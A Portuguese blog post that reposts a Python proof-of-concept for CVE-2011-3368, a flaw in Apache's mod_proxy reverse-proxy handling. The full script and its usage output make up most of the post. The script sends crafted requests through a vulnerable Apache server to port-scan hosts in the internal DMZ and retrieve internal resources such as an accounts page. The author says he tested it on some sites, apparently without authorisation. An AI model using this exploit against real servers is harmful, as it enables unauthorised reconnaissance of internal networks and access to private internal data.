Exploit para explorar a vulnerabilidade do Apache mod_proxy Reverse

por em 11/10/11 às 12:42 pm

Na semana passada, eu escrevi um post comentando sobre a nova vulnerabilidade que alguns pesquisadores de segurança haviam encontrado em um dos módulos mais utilizados do o apache o mod_proxy.

Diversos analistas e administradores de ambientes web e apache ficaram surpresos com as indas e vindas do pessoal da apache foundation em apresentar uma solução concreta para o problema. Confesso que tivemos uma pequena discussão no trabalho quanto as possíveis soluções para o mesmo problemas, mas no final, descobrimos o que implementar.

Porém, muitos se perguntaram: Cadê o exploit para explorar essa vulnerabilidade ? A resposta está abaixo, o carinha foi publicado hoje.

Atualização: Testei-o em alguns sites e percebi que ele na verdade é um scanner na procura de servidores apaches que estejam com a vulnerabilidade.

#!/usr/bin/env python

import socket
import string
import getopt, sys

known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

    get = "GET " + url + "@" + internal_target + ":" + internal_port +  "/" + resource + " HTTP/1.1\r\n"
    get = get + "Host: " + apache_target + "\r\n\r\n"

    remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remoteserver.settimeout(3)

    try:
        remoteserver.connect((apache_target, int(apache_port)))
        remoteserver.send(get)
        return remoteserver.recv(4096)
    except:
        return ""

def get_banner(result):
    return result[string.find(result, "\r\n\r\n")+4:]

def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

    print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
    for port in tested_ports:
        port = str(port)
        result = send_request(url, apache_target, apache_port, internal_target, port, resource)
        if string.find(result,"HTTP/1.1 200")!=-1 or \
        string.find(result,"HTTP/1.1 30")!=-1 or \
        string.find(result,"HTTP/1.1 502")!=-1:
            print "- Open port: " + port + "/TCP"
            print get_banner(result)
        elif len(result)==0:
            print "- Filtered port: " + port + "/TCP"
        else:
            print "- Closed port: " + port + "/TCP"

def usage():
    print
    print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
    print "http://www.secforce.co.uk"
    print
    print "usage():"
    print "python apache_scan.py [options]"
    print
    print " [options]"
    print "     -r: Remote Apache host"
    print "     -p: Remote Apache port (default is 80)"
    print "     -u: URL on the remote web server (default is /)"
    print "     -d: Host in the DMZ (default is 127.0.0.1)"
    print "     -e: Port in the DMZ (enables 'single port scan')"
    print "     -g: GET request to the host in the DMZ (default is /)"
    print "     -h: Help page"
    print
    print "examples:"
    print " - Port scan of the remote host"
    print "     python apache_scan.py -r www.example.com -u /images/test.gif"
    print " - Port scan of a host in the DMZ"
    print "     python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
    print " - Retrieve a resource from a host in the DMZ"
    print "     python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
    print

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
    print
    print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
    print "http://www.secforce.co.uk"
    print
    print " [+] Target: " + apache_target
    print " [+] Target port: " + apache_port
    print " [+] Internal host: " + internal_target
    print " [+] Tested ports: " + str(tested_ports)
    print " [+] Internal resource: " + resource
    print

def main():

    global apache_target
    global apache_port
    global url
    global internal_target
    global internal_port
    global resource

    try:
        opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
    except getopt.GetoptError:
        usage()
        sys.exit(2)

    try:
        for o, a in opts:
            if o in ("-h", "--help"):
                usage()
                sys.exit(2)
            if o == "-u":
                url=a
            if o == "-r":
                apache_target=a
            if o == "-p":
                apache_port=a
            if o == "-d":
                internal_target = a
            if o == "-e":
                internal_port=a
            if o == "-g":
                resource=a             

    except getopt.GetoptError:
        usage()
        sys.exit(2)

    if apache_target == "":
        usage()
        sys.exit(2)

url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
    tested_ports = [internal_port]
else:
    tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)

Lembrando que esse cara foi escrito em Python e é a primeira versão divulgada para o público.

Vejam a execução do carinha:

CVE-2011-3368 proof of concept by Rodrigo Marcos

http://www.secforce.co.uk

usage():
python apache_scan.py [options]

 [options]
     -r: Remote Apache host
     -p: Remote Apache port (default is 80)
     -u: URL on the remote web server (default is /)
     -d: Host in the DMZ (default is 127.0.0.1)
     -e: Port in the DMZ (enables 'single port scan')
     -g: GET request to the host in the DMZ (default is /)
     -h: Help page

examples:
 - Port scan of the remote host
     python apache_scan.py -r www.example.com -u /images/test.gif
 - Port scan of a host in the DMZ
     python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local
 - Retrieve a resource from a host in the DMZ
     python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 /
 -g /accounts/index.html

P.S.: Acredito que este script tenha sido obra de um brasileiro :)

Bad Behavior has blocked 1184 access attempts in the last 7 days.